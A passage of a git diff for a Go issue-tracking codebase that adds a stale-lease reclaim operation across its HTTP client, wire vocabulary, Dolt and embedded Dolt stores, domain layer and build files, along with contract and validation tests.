TestServedLeaseReclaimerDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunLeaseReclaimerDoesNotMutateTheCallerRequest(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr11")) +} diff --git a/internal/httpclient/served_test.go b/internal/httpclient/served_test.go index 5037cb1f7..23b16b02e 100644 --- a/internal/httpclient/served_test.go +++ b/internal/httpclient/served_test.go @@ -240,6 +240,9 @@ func serveRoles(store storage.DoltStorage) (httpapi.Config, error) { if cfg.BatchGetter, err = store.BatchGetter(); err != nil { return cfg, err } + if cfg.LeaseReclaimer, err = store.LeaseReclaimer(); err != nil { + return cfg, err + } return cfg, nil } diff --git a/internal/httpclient/unsupported_gen.go b/internal/httpclient/unsupported_gen.go index 79e696c54..2e8cde872 100644 --- a/internal/httpclient/unsupported_gen.go +++ b/internal/httpclient/unsupported_gen.go @@ -742,4 +742,4 @@ func (unsupportedDoltStorage) VersionReconciler() (_ issueops.VersionReconciler, return } -// NOTE: partial shell (145 of 199 methods generated; 54 left to this package's hand-written set). +// NOTE: partial shell (145 of 200 methods generated; 55 left to this package's hand-written set). diff --git a/internal/httpclient/wave2b_roles_test.go b/internal/httpclient/wave2b_roles_test.go index 86c053aca..c64817ac1 100644 --- a/internal/httpclient/wave2b_roles_test.go +++ b/internal/httpclient/wave2b_roles_test.go @@ -8,8 +8,10 @@ import ( "reflect" "strings" "testing" + "time" "github.com/steveyegge/beads/internal/httpapi/apigen" + storeops "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/workapi" "github.com/steveyegge/beads/issueops" @@ -542,3 +544,87 @@ func TestRelatedLeavesTheCallersTypesAlone(t *testing.T) { t.Errorf("the caller's Types changed across the call: %v, want %v", types_, snapshot) } } + +// TestReclaimValidationMatchesTheSharedValidator binds leasereclaimer.go's +// restated rules to internal/storage/issueops.ValidateReclaimRequest, for +// TestReleaseValidationMatchesTheSharedValidator's reason: a restated rule is +// how a leg drifts. It compares VERDICTS, and the cap's type, over a table that +// covers both sides of every rule. +func TestReclaimValidationMatchesTheSharedValidator(t *testing.T) { + overCap := make([]string, issueops.MaxReclaimIDs+1) + for name, req := range map[string]issueops.ReclaimRequest{ + "valid bare": {Actor: "reaper"}, + "valid scoped": {Actor: "reaper", OlderThan: time.Minute, Filter: issueops.ReclaimFilter{IDs: []string{"bd-1"}}}, + "no actor": {}, + "blank actor": {Actor: " "}, + "negative grace": {Actor: "reaper", OlderThan: -time.Second}, + "blank id": {Actor: "reaper", Filter: issueops.ReclaimFilter{IDs: []string{"bd-1", ""}}}, + "padded id is an id": {Actor: "reaper", Filter: issueops.ReclaimFilter{IDs: []string{" bd-1 "}}}, + "over the cap": {Actor: "reaper", Filter: issueops.ReclaimFilter{IDs: overCap}}, + "blank assignee": {Actor: "reaper", Filter: issueops.ReclaimFilter{Assignees: []string{" "}}}, + "blank label": {Actor: "reaper", Filter: issueops.ReclaimFilter{Labels: []string{"a", ""}}}, + "blank label-any": {Actor: "reaper", Filter: issueops.ReclaimFilter{LabelsAny: []string{"\t"}}}, + "blank exclude": {Actor: "reaper", Filter: issueops.ReclaimFilter{ExcludeLabels: []string{""}}}, + + // The actor is held to its column once trimmed, as the sweep records it. + "actor at the bound": {Actor: strings.Repeat("r", types.MaxFieldLen)}, + "padded actor at the bound": {Actor: " " + strings.Repeat("r", types.MaxFieldLen) + " "}, + "over-long actor": {Actor: strings.Repeat("r", types.MaxFieldLen+1)}, + } { + t.Run(name, func(t *testing.T) { + mine := validateReclaimRequest(req) + shared := storeops.ValidateReclaimRequest(req) + if (mine != nil) != (shared != nil) { + t.Fatalf("validateReclaimRequest = %v, storeops.ValidateReclaimRequest = %v: the client's restatement has drifted", mine, shared) + } + var mineCap, sharedCap *issueops.TooManyReclaimIDsError + if errors.As(mine, &mineCap) != errors.As(shared, &sharedCap) { + t.Fatalf("cap type differs: client %v, shared %v", mine, shared) + } + var mineField, sharedField *issueops.ReclaimFieldError + errors.As(mine, &mineField) + errors.As(shared, &sharedField) + if (mineField == nil) != (sharedField == nil) || (mineField != nil && mineField.Field != sharedField.Field) { + t.Fatalf("field differs: client %v, shared %v", mine, shared) + } + }) + } +} + +// TestReclaimSendsAnyReplicaOnlyWhenAsked pins the one filter member that +// WIDENS a sweep rather than narrowing it. ReclaimFilter.AnyReplica disarms the +// granting-replica guard, so a client that sent it unasked would revert leases +// another replica granted, and one that dropped it would keep the guard a caller +// had disarmed. Unasked it must be absent from the body; asked it must be true. +func TestReclaimSendsAnyReplicaOnlyWhenAsked(t *testing.T) { + for name, anyReplica := range map[string]bool{"unasked": false, "asked": true} { + t.Run(name, func(t *testing.T) { + store, w := recordingStore(t) + role, err := store.LeaseReclaimer() + if err != nil { + t.Fatalf("LeaseReclaimer(): %v", err) + } + if _, err := role.Reclaim(context.Background(), issueops.ReclaimRequest{ + Actor: "reaper", + Filter: issueops.ReclaimFilter{IDs: []string{"bd-1"}, AnyReplica: anyReplica}, + }); err != nil { + t.Fatalf("Reclaim(): %v", err) + } + if len(w.requests) != 1 { + t.Fatalf("dialed %d times, want 1", len(w.requests)) + } + body, ok := w.requests[0].Body.(apigen.ReclaimIssuesRequest) + if !ok { + t.Fatalf("the body is %T, want the generated ReclaimIssuesRequest", w.requests[0].Body) + } + switch { + case !anyReplica && body.AnyReplica != nil: + t.Errorf("an unasked sweep sent any_replica=%v; the guard must stay armed", *body.AnyReplica) + case anyReplica && body.AnyReplica == nil: + t.Error("a sweep that disarmed the replica guard sent no any_replica; the server would keep it armed") + case anyReplica && !*body.AnyReplica: + t.Error("a sweep that disarmed the replica guard sent any_replica=false, want true") + } + }) + } +} diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index b7db819c2..60476683a 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -102,6 +102,11 @@ var opCapability = map[string]string{ // the block above states: the server publishes it ahead of the accessor // that dials it, and the set-equality gate needs its token here first. OpBatchGetIssues: "issues.batchGet", + // The stale-lease sweep, dialed by httpLeaseReclaimer. A server that + // predates it does not advertise the token, so Preflight refuses locally + // with a typed capability error instead of dialing a path the older server + // would answer as a claim of an issue called ":reclaim". + OpReclaimIssues: "issues.reclaim", } // CapProjectEnforce is the behavior capability the server advertises to announce diff --git a/internal/httpclient/wire/paths.go b/internal/httpclient/wire/paths.go index 6357c526d..94a90b83a 100644 --- a/internal/httpclient/wire/paths.go +++ b/internal/httpclient/wire/paths.go @@ -57,6 +57,7 @@ const ( OpGetMemory = "getMemory" OpForgetMemory = "forgetMemory" OpBatchGetIssues = "batchGetIssues" + OpReclaimIssues = "reclaimIssues" ) // The paths that carry no caller-supplied segment. A path with one is built by @@ -75,6 +76,7 @@ const ( PathIssuesBatchCreate = "/v0/beads/issues:batchCreate" PathIssuesBatchClose = "/v0/beads/issues:batchClose" PathIssuesBatchGet = "/v0/beads/issues:batchGet" + PathIssuesReclaim = "/v0/beads/issues:reclaim" PathIssuesClaimNext = "/v0/beads/issues:claimNext" PathIssuesBatchApply = "/v0/beads/issues:batchApply" PathSettings = "/v0/beads/config" diff --git a/internal/httpclient/wire/revision_tolerance_test.go b/internal/httpclient/wire/revision_tolerance_test.go index 9b410298f..1c9f33f16 100644 --- a/internal/httpclient/wire/revision_tolerance_test.go +++ b/internal/httpclient/wire/revision_tolerance_test.go @@ -283,6 +283,10 @@ var revisionSchemaExempt = map[string]string{ "#6053 and types.BatchGetIssue declares Revision a string, so every server that routes it " + "answers the decimal-string shape; a pre-#6053 server never advertises issues.batchGet, so " + "Preflight refuses the operation with a *CapabilityError before any body is decoded", + "ReclaimedLease": "ReclaimIssuesResult.reclaimed's element. issues:reclaim postdates #6053 and " + + "types.ReclaimedLease declares Revision a string, so every server that routes it answers the " + + "decimal-string shape; a pre-#6053 server never advertises issues.reclaim, so Preflight refuses " + + "the operation with a *CapabilityError before any body is decoded", } // TestRevisionBearingResponseCoversEveryWireShapeSchemaWithARevisionMember is diff --git a/internal/httpclient/wire/skew_test.go b/internal/httpclient/wire/skew_test.go index 04b023171..fe2fc7ace 100644 --- a/internal/httpclient/wire/skew_test.go +++ b/internal/httpclient/wire/skew_test.go @@ -110,16 +110,17 @@ func TestAgainstAFirstSliceServerEveryPostBaselineOperationRefusesWithCaseTwoDat t.Fatalf("post-baseline ops on a first-slice token = %v, want exactly [claimIssue]", compat) } // The dimension is pinned so the matrix cannot shrink silently: the first - // slice served six operations and the tip surface has forty-two, so - // thirty-six of them are things a first-slice server has never heard of. The + // slice served six operations and the tip surface has forty-three, so + // thirty-seven of them are things a first-slice server has never heard of. The // wire wave moved this from twenty-seven to thirty — claimNext, release and // count — wave 2 to thirty-two, adding the dependency-edge count and the // related read, the mini-sync to thirty-five: the comment write and the two - // config writes, and the batch read (upstream #7248) to thirty-six. Each is + // config writes, the batch read (upstream #7248) to thirty-six, and the + // stale-lease sweep to thirty-seven. Each is // an operation a first-slice server never served and this client does not // yet dial, which is exactly the shape the refusal matrix is about. - if len(refused) != 36 { - t.Fatalf("the post-baseline set has %d operations a first-slice server never served, want 36", len(refused)) + if len(refused) != 37 { + t.Fatalf("the post-baseline set has %d operations a first-slice server never served, want 37", len(refused)) } // The compat op forces the handshake yet preflights clean: issues.claim is on diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go index 23d98908d..c650ac7f5 100644 --- a/internal/httpclient/wire/vocabulary_test.go +++ b/internal/httpclient/wire/vocabulary_test.go @@ -68,6 +68,7 @@ func TestOperationIdsMatchTheServerRouteTable(t *testing.T) { {OpListEvents, httpapi.OpListEvents}, {OpWatchEvents, httpapi.OpWatchEvents}, {OpBatchGetIssues, httpapi.OpBatchGetIssues}, + {OpReclaimIssues, httpapi.OpReclaimIssues}, } // The table is a HAND LIST, and a hand list's failure mode is omission: a new diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index 86a1ef4f6..e4a8b5a27 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -38,6 +38,7 @@ go_library( "hook_issue_claimer.go", "hook_issue_operations.go", "hook_issue_reader.go", + "hook_lease_reclaimer.go", "hook_memories.go", "hook_metadata_cas.go", "hook_querier.go", @@ -90,6 +91,7 @@ go_test( "hook_issue_claimer_test.go", "hook_issue_operations_test.go", "hook_issue_reader_test.go", + "hook_lease_reclaimer_test.go", "hook_metadata_cas_test.go", "hook_ready_claimer_test.go", "hook_relations_test.go", diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 989f2d8e4..1f79aa088 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -47,6 +47,7 @@ go_library( "iter_stubs.go", "journal_accessor.go", "labels.go", + "lease_reclaimer.go", "memories.go", "merge_slot.go", "metadata_cas.go", @@ -268,6 +269,7 @@ go_test( "large_batch_apply_measure_test.go", "large_graph_create_bench_test.go", "lease_migration_test.go", + "lease_reclaimer_contract_test.go", "lease_test.go", "lenient_open_dirty_tables_integration_test.go", "lifecycle_close_reopen_contract_test.go", diff --git a/internal/storage/dolt/lease_reclaimer.go b/internal/storage/dolt/lease_reclaimer.go new file mode 100644 index 000000000..492a47f48 --- /dev/null +++ b/internal/storage/dolt/lease_reclaimer.go @@ -0,0 +1,50 @@ +package dolt + +import ( + "context" + "database/sql" + + "github.com/steveyegge/beads/internal/storage" + storeops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/issueops" +) + +// LeaseReclaimer returns the lease-sweep surface for this store. +func (s *DoltStore) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + if s == nil { + return nil, &storage.ErrUnsupported{Op: "LeaseReclaimer", Backend: "nil"} + } + return &leaseReclaimer{store: s}, nil +} + +// leaseReclaimer answers a Reclaim from one retrying write transaction around +// the shared body, storeops.ExecuteReclaimInTx. +// +// THE VERSION-CONTROL ENTRY GOES THROUGH runIssueOperationTxWithMessage, the +// funnel Releaser uses, rather than the raw ReclaimExpiredLeases' in-transaction +// DOLT_COMMIT: the funnel is what honors a deferred version commit on the +// context (dolt.auto-commit batch/off), which a role a front door calls has to, +// and a sweep that reverted nothing composes no staged set and so records no +// entry describing a no-op. +type leaseReclaimer struct{ store *DoltStore } + +var _ issueops.LeaseReclaimer = (*leaseReclaimer)(nil) + +func (l *leaseReclaimer) Reclaim(ctx context.Context, request issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + if err := storeops.ValidateReclaimRequest(request); err != nil { + return issueops.ReclaimResult{}, err + } + var result issueops.ReclaimResult + if err := l.store.runIssueOperationTxWithMessage(ctx, func(tx *sql.Tx) (storeops.ChangedTables, string, error) { + var err error + result, err = storeops.ExecuteReclaimInTx(ctx, tx, request) + if err != nil { + return nil, "", err + } + tables, msg := storeops.ReclaimVersionCommit(result) + return tables, msg, nil + }); err != nil { + return issueops.ReclaimResult{}, err + } + return result, nil +} diff --git a/internal/storage/dolt/lease_reclaimer_contract_test.go b/internal/storage/dolt/lease_reclaimer_contract_test.go new file mode 100644 index 000000000..cfc19f3e9 --- /dev/null +++ b/internal/storage/dolt/lease_reclaimer_contract_test.go @@ -0,0 +1,114 @@ +package dolt + +import ( + "context" + "fmt" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" +) + +// TestLeaseReclaimerContract runs the LeaseReclaimer contract against the +// server-backed store, which wraps internal/storage/issueops.ExecuteReclaimInTx +// in its own retrying write transaction. Like every role suite here the cases +// share one store, so each namespaces its seeds and scopes every sweep. +func TestLeaseReclaimerContract(t *testing.T) { + fixture, ctx, cleanup := newDoltLeaseReclaimerFixture(t, "lrc") + defer cleanup() + + t.Run("RevertsAStaleLease", func(t *testing.T) { + conformance.RunLeaseReclaimerRevertsAStaleLease(t, ctx, fixture) + }) + t.Run("MintsARevisionThatFencesTheFormerHolder", func(t *testing.T) { + conformance.RunLeaseReclaimerMintsARevisionThatFencesTheFormerHolder(t, ctx, fixture) + }) + t.Run("LeavesALiveLeaseAlone", func(t *testing.T) { + conformance.RunLeaseReclaimerLeavesALiveLeaseAlone(t, ctx, fixture) + }) + t.Run("HonorsTheGraceWindow", func(t *testing.T) { + conformance.RunLeaseReclaimerHonorsTheGraceWindow(t, ctx, fixture) + }) + t.Run("ScopesToTheNamedIDs", func(t *testing.T) { + conformance.RunLeaseReclaimerScopesToTheNamedIDs(t, ctx, fixture) + }) + t.Run("AnswersAnAbsentIDWithAnEmptyResult", func(t *testing.T) { + conformance.RunLeaseReclaimerAnswersAnAbsentIDWithAnEmptyResult(t, ctx, fixture) + }) + t.Run("ScopesToAssigneesAndLabels", func(t *testing.T) { + conformance.RunLeaseReclaimerScopesToAssigneesAndLabels(t, ctx, fixture) + }) + t.Run("AttributesTheRecoveryEvent", func(t *testing.T) { + conformance.RunLeaseReclaimerAttributesTheRecoveryEvent(t, ctx, fixture) + }) + t.Run("FiresOnUpdateOncePerReclaimedRow", func(t *testing.T) { + conformance.RunLeaseReclaimerFiresOnUpdateOncePerReclaimedRow(t, ctx, fixture) + }) + t.Run("RefusesAMalformedRequest", func(t *testing.T) { + conformance.RunLeaseReclaimerRefusesAMalformedRequest(t, ctx, fixture) + }) + t.Run("RefusesABlankScopeEntry", func(t *testing.T) { + conformance.RunLeaseReclaimerRefusesABlankScopeEntry(t, ctx, fixture) + }) + t.Run("AcceptsExactlyTheCap", func(t *testing.T) { + conformance.RunLeaseReclaimerAcceptsExactlyTheCap(t, ctx, fixture) + }) + t.Run("DoesNotMutateTheCallerRequest", func(t *testing.T) { + conformance.RunLeaseReclaimerDoesNotMutateTheCallerRequest(t, ctx, fixture) + }) +} + +// newDoltLeaseReclaimerFixture composes the frozen role kit with this +// backend's accessors, plus the same reclaimer taken off a HookFiringStore so +// the hook case observes the decorator a command actually holds. +func newDoltLeaseReclaimerFixture(t *testing.T, prefix string) (conformance.LeaseReclaimerFixture, context.Context, func()) { + t.Helper() + store, storeCleanup := setupTestStore(t) + ctx, cancel := testContext(t) + stop := func() { + cancel() + storeCleanup() + } + fail := func(what string, err error) { + stop() + t.Fatalf("%s: %v", what, err) + } + reclaimer, err := store.LeaseReclaimer() + if err != nil { + fail("LeaseReclaimer()", err) + } + claimer, err := store.IssueClaimer() + if err != nil { + fail("IssueClaimer()", err) + } + lifecycle, err := store.IssueLifecycle() + if err != nil { + fail("IssueLifecycle()", err) + } + runner, fired := conformance.NewUpdateHookLog(t) + hooked := reclaimer + if runner != nil { + if hooked, err = storage.NewHookFiringStore(store, runner).LeaseReclaimer(); err != nil { + fail("hooked LeaseReclaimer()", err) + } + } + kit := newDoltRoleFixtureKit(store, prefix) + return conformance.LeaseReclaimerFixture{ + IssuePrefix: kit.IssuePrefix, + LeaseReclaimer: reclaimer, + CreateIssue: kit.CreateIssue, + Claimer: claimer, + Lifecycle: lifecycle, + QueryScalar: kit.QueryScalar, + Exec: func(ctx context.Context, statements []conformance.SQLStatement) error { + for _, stmt := range statements { + if _, err := store.db.ExecContext(ctx, stmt.Query, stmt.Args...); err != nil { + return fmt.Errorf("%s: %w", stmt.Query, err) + } + } + return nil + }, + HookedLeaseReclaimer: hooked, + FiredUpdates: fired, + }, ctx, stop +} diff --git a/internal/storage/domain/db/issue.go b/internal/storage/domain/db/issue.go index a9d2e3c7a..4a1282e25 100644 --- a/internal/storage/domain/db/issue.go +++ b/internal/storage/domain/db/issue.go @@ -1309,4 +1309,11 @@ func (r *issueSQLRepositoryImpl) ReclaimExpiredLeases(ctx context.Context, older return out, nil } +// Reclaim runs the shared sweep body directly on r.runner, matching GetMany's +// bare-passthrough shape: validation and error-wrapping both happen inside +// issueops.ExecuteReclaimInTx. +func (r *issueSQLRepositoryImpl) Reclaim(ctx context.Context, request publicops.ReclaimRequest) (publicops.ReclaimResult, error) { + return issueops.ExecuteReclaimInTx(ctx, r.runner, request) +} + const deleteBatchSize = 200 diff --git a/internal/storage/domain/issue.go b/internal/storage/domain/issue.go index a6ce46a83..7f5ec7208 100644 --- a/internal/storage/domain/issue.go +++ b/internal/storage/domain/issue.go @@ -117,6 +117,11 @@ type IssueSQLRepository interface { UnclaimIssueIfAssignee(ctx context.Context, id, actor, expectedAssignee string) error HeartbeatIssue(ctx context.Context, id, actor string) error ReclaimExpiredLeases(ctx context.Context, olderThan time.Duration, filter types.ReclaimFilter, actor string) ([]types.ReclaimedLease, error) + // Reclaim runs the SHARED sweep body (issueops.ExecuteReclaimInTx) on this + // repository's transaction, which is how the unit-of-work provider reaches + // the same function the two store backends wrap. It is the publicops-typed + // counterpart to ReclaimExpiredLeases above, the way GetMany is to GetByIDs. + Reclaim(ctx context.Context, request publicops.ReclaimRequest) (publicops.ReclaimResult, error) WakeExpiredDefers(ctx context.Context) (issues, wisps int, err error) } @@ -344,6 +349,10 @@ type IssueUseCase interface { UnclaimIfAssignee(ctx context.Context, id, actor, expectedAssignee string) error Heartbeat(ctx context.Context, id, actor string) error ReclaimExpiredLeases(ctx context.Context, olderThan time.Duration, filter types.ReclaimFilter, actor string) ([]types.ReclaimedLease, error) + // Reclaim is the shape issueops.LeaseReclaimer publishes; see + // IssueRepository.Reclaim for why it is a separate method from + // ReclaimExpiredLeases rather than a replacement for it. + Reclaim(ctx context.Context, request publicops.ReclaimRequest) (publicops.ReclaimResult, error) WakeExpiredDefers(ctx context.Context) (issues, wisps int, err error) CreateIssue(ctx context.Context, params CreateIssueParams, actor string) (CreateIssueResult, error) @@ -1978,3 +1987,11 @@ func (u *issueUseCaseImpl) ReclaimExpiredLeases(ctx context.Context, olderThan t } return out, nil } + +// Reclaim passes straight through to the repository with no pre-check and no +// error-wrapping, matching GetMany's reasoning: the request is fully +// validated inside the shared body (issueops.ExecuteReclaimInTx), and there is +// no use-case-level concern layered on top of it. +func (u *issueUseCaseImpl) Reclaim(ctx context.Context, request publicops.ReclaimRequest) (publicops.ReclaimResult, error) { + return u.issueRepo.Reclaim(ctx, request) +} diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 64e516d60..8241d7414 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -37,6 +37,7 @@ go_library( "iter_stubs.go", "journal_accessor.go", "labels.go", + "lease_reclaimer.go", "list_queries.go", "memories.go", "merge_slot.go", @@ -169,6 +170,7 @@ go_test( "label_rename_test.go", "large_batch_apply_measure_test.go", "large_graph_create_bench_test.go", + "lease_reclaimer_contract_test.go", "lease_replica_test.go", "lease_test.go", "lenient_gate_warning_test.go", diff --git a/internal/storage/embeddeddolt/lease_reclaimer.go b/internal/storage/embeddeddolt/lease_reclaimer.go new file mode 100644 index 000000000..cfbfb1c28 --- /dev/null +++ b/internal/storage/embeddeddolt/lease_reclaimer.go @@ -0,0 +1,54 @@ +//go:build cgo + +package embeddeddolt + +import ( + "context" + "database/sql" + + "github.com/steveyegge/beads/internal/storage" + storeops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/issueops" +) + +// LeaseReclaimer returns the lease-sweep surface for this store. +func (s *EmbeddedDoltStore) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + if s == nil { + return nil, &storage.ErrUnsupported{Op: "LeaseReclaimer", Backend: "nil"} + } + return &leaseReclaimer{store: s}, nil +} + +// leaseReclaimer answers a Reclaim from one connection's transaction around the +// shared body, storeops.ExecuteReclaimInTx, the embedded twin of the +// server-backed store's leaseReclaimer. +// +// THE VERSION-CONTROL ENTRY LANDS AFTER THE SQL COMMIT, through +// runIssueOperationTxWithMessage, Releaser's funnel: unlike the raw +// ReclaimExpiredLeases, which leaves its rows in the working set for the CLI's +// commitPendingIfEmbedded, a role is called by front doors (bd serve, a +// library caller) that have no such second step, so the role records its own +// entry, and the funnel is what lets a deferred version commit on the context +// suppress it. +type leaseReclaimer struct{ store *EmbeddedDoltStore } + +var _ issueops.LeaseReclaimer = (*leaseReclaimer)(nil) + +func (l *leaseReclaimer) Reclaim(ctx context.Context, request issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + if err := storeops.ValidateReclaimRequest(request); err != nil { + return issueops.ReclaimResult{}, err + } + var result issueops.ReclaimResult + if err := l.store.runIssueOperationTxWithMessage(ctx, func(tx *sql.Tx) (storeops.ChangedTables, string, error) { + var err error + result, err = storeops.ExecuteReclaimInTx(ctx, tx, request) + if err != nil { + return nil, "", err + } + tables, msg := storeops.ReclaimVersionCommit(result) + return tables, msg, nil + }); err != nil { + return issueops.ReclaimResult{}, err + } + return result, nil +} diff --git a/internal/storage/embeddeddolt/lease_reclaimer_contract_test.go b/internal/storage/embeddeddolt/lease_reclaimer_contract_test.go new file mode 100644 index 000000000..d834b3f92 --- /dev/null +++ b/internal/storage/embeddeddolt/lease_reclaimer_contract_test.go @@ -0,0 +1,111 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "context" + "fmt" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" +) + +// TestLeaseReclaimerContract runs the LeaseReclaimer contract against the +// embedded store, which wraps internal/storage/issueops.ExecuteReclaimInTx in +// one connection's transaction and records its version entry after the SQL +// commit. +func TestLeaseReclaimerContract(t *testing.T) { + skipUnlessEmbeddedDolt(t) + te := newTestEnv(t, "lrc") + ctx := t.Context() + fixture := newEmbeddedLeaseReclaimerFixture(t, te, "lrc") + + t.Run("RevertsAStaleLease", func(t *testing.T) { + conformance.RunLeaseReclaimerRevertsAStaleLease(t, ctx, fixture) + }) + t.Run("MintsARevisionThatFencesTheFormerHolder", func(t *testing.T) { + conformance.RunLeaseReclaimerMintsARevisionThatFencesTheFormerHolder(t, ctx, fixture) + }) + t.Run("LeavesALiveLeaseAlone", func(t *testing.T) { + conformance.RunLeaseReclaimerLeavesALiveLeaseAlone(t, ctx, fixture) + }) + t.Run("HonorsTheGraceWindow", func(t *testing.T) { + conformance.RunLeaseReclaimerHonorsTheGraceWindow(t, ctx, fixture) + }) + t.Run("ScopesToTheNamedIDs", func(t *testing.T) { + conformance.RunLeaseReclaimerScopesToTheNamedIDs(t, ctx, fixture) + }) + t.Run("AnswersAnAbsentIDWithAnEmptyResult", func(t *testing.T) { + conformance.RunLeaseReclaimerAnswersAnAbsentIDWithAnEmptyResult(t, ctx, fixture) + }) + t.Run("ScopesToAssigneesAndLabels", func(t *testing.T) { + conformance.RunLeaseReclaimerScopesToAssigneesAndLabels(t, ctx, fixture) + }) + t.Run("AttributesTheRecoveryEvent", func(t *testing.T) { + conformance.RunLeaseReclaimerAttributesTheRecoveryEvent(t, ctx, fixture) + }) + t.Run("FiresOnUpdateOncePerReclaimedRow", func(t *testing.T) { + conformance.RunLeaseReclaimerFiresOnUpdateOncePerReclaimedRow(t, ctx, fixture) + }) + t.Run("RefusesAMalformedRequest", func(t *testing.T) { + conformance.RunLeaseReclaimerRefusesAMalformedRequest(t, ctx, fixture) + }) + t.Run("RefusesABlankScopeEntry", func(t *testing.T) { + conformance.RunLeaseReclaimerRefusesABlankScopeEntry(t, ctx, fixture) + }) + t.Run("AcceptsExactlyTheCap", func(t *testing.T) { + conformance.RunLeaseReclaimerAcceptsExactlyTheCap(t, ctx, fixture) + }) + t.Run("DoesNotMutateTheCallerRequest", func(t *testing.T) { + conformance.RunLeaseReclaimerDoesNotMutateTheCallerRequest(t, ctx, fixture) + }) +} + +func newEmbeddedLeaseReclaimerFixture(t *testing.T, te *testEnv, prefix string) conformance.LeaseReclaimerFixture { + t.Helper() + reclaimer, err := te.store.LeaseReclaimer() + if err != nil { + t.Fatalf("LeaseReclaimer(): %v", err) + } + claimer, err := te.store.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + lifecycle, err := te.store.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + runner, fired := conformance.NewUpdateHookLog(t) + hooked := reclaimer + if runner != nil { + if hooked, err = storage.NewHookFiringStore(te.store, runner).LeaseReclaimer(); err != nil { + t.Fatalf("hooked LeaseReclaimer(): %v", err) + } + } + kit := newEmbeddedRoleFixtureKit(te, prefix) + return conformance.LeaseReclaimerFixture{ + IssuePrefix: kit.IssuePrefix, + LeaseReclaimer: reclaimer, + CreateIssue: kit.CreateIssue, + Claimer: claimer, + Lifecycle: lifecycle, + QueryScalar: kit.QueryScalar, + Exec: func(ctx context.Context, statements []conformance.SQLStatement) error { + db, cleanup, err := embeddeddolt.OpenSQL(ctx, te.dataDir, te.database, "main") + if err != nil { + return err + } + defer func() { _ = cleanup() }() + for _, stmt := range statements { + if _, err := db.ExecContext(ctx, stmt.Query, stmt.Args...); err != nil { + return fmt.Errorf("%s: %w", stmt.Query, err) + } + } + return nil + }, + HookedLeaseReclaimer: hooked, + FiredUpdates: fired, + } +} diff --git a/internal/storage/externaldeps/uow_decorator.go b/internal/storage/externaldeps/uow_decorator.go index 0b9e9293b..f7826b43e 100644 --- a/internal/storage/externaldeps/uow_decorator.go +++ b/internal/storage/externaldeps/uow_decorator.go @@ -119,7 +119,10 @@ func (p *uowProvider) VersionReconciler() (publicops.VersionReconciler, error) { } func (p *uowProvider) MetadataCAS() (publicops.MetadataCAS, error) { return uow.NewMetadataCAS(p) } func (p *uowProvider) Releaser() (publicops.Releaser, error) { return uow.NewReleaser(p) } -func (p *uowProvider) Memories() (memoryops.Memories, error) { return uow.NewMemories(p) } +func (p *uowProvider) LeaseReclaimer() (publicops.LeaseReclaimer, error) { + return uow.NewLeaseReclaimer(p) +} +func (p *uowProvider) Memories() (memoryops.Memories, error) { return uow.NewMemories(p) } func (p *uowProvider) EventsJournalCursor() (storage.EventsJournalCursor, error) { return uow.NewEventsJournalCursor(p) } @@ -195,6 +198,7 @@ var ( _ uow.VersionReconcilerSource = (*uowProvider)(nil) _ uow.MetadataCASSource = (*uowProvider)(nil) _ uow.ReleaserSource = (*uowProvider)(nil) + _ uow.LeaseReclaimerSource = (*uowProvider)(nil) _ uow.MemoriesSource = (*uowProvider)(nil) _ uow.EventsJournalCursorSource = (*uowProvider)(nil) ) diff --git a/internal/storage/hook_batch_applier_test.go b/internal/storage/hook_batch_applier_test.go index 92844911c..a211e0908 100644 --- a/internal/storage/hook_batch_applier_test.go +++ b/internal/storage/hook_batch_applier_test.go @@ -39,6 +39,9 @@ func (r *recordingBatchApplyHooks) CompleteIssueOperationMetadata(_ context.Cont func (r *recordingBatchApplyHooks) CompleteIssueOperationRelease(_ context.Context, issueID string) { r.completions = append(r.completions, "release:"+issueID) } +func (r *recordingBatchApplyHooks) CompleteIssueOperationReclaim(_ context.Context, issueID string) { + r.completions = append(r.completions, "reclaim:"+issueID) +} func issueIDOrNil(issue *types.Issue) string { if issue == nil { @@ -230,3 +233,4 @@ func (r *recordingBatchApplyIssues) CompleteIssueOperationDependency(context.Con func (r *recordingBatchApplyIssues) CompleteIssueOperationComment(context.Context, string) {} func (r *recordingBatchApplyIssues) CompleteIssueOperationMetadata(context.Context, string) {} func (r *recordingBatchApplyIssues) CompleteIssueOperationRelease(context.Context, string) {} +func (r *recordingBatchApplyIssues) CompleteIssueOperationReclaim(context.Context, string) {} diff --git a/internal/storage/hook_decorator.go b/internal/storage/hook_decorator.go index c0342252e..c6be30885 100644 --- a/internal/storage/hook_decorator.go +++ b/internal/storage/hook_decorator.go @@ -153,6 +153,13 @@ func RoleFiresHooks(role any) bool { // hazard, on the operation that reaches it with nothing else in the way. case *hookBatchCreator: return true + // The lease reclaimer fires the update hook once per row it reverts + // (hook_lease_reclaimer.go), so a scheduled reaper sweep is N + // 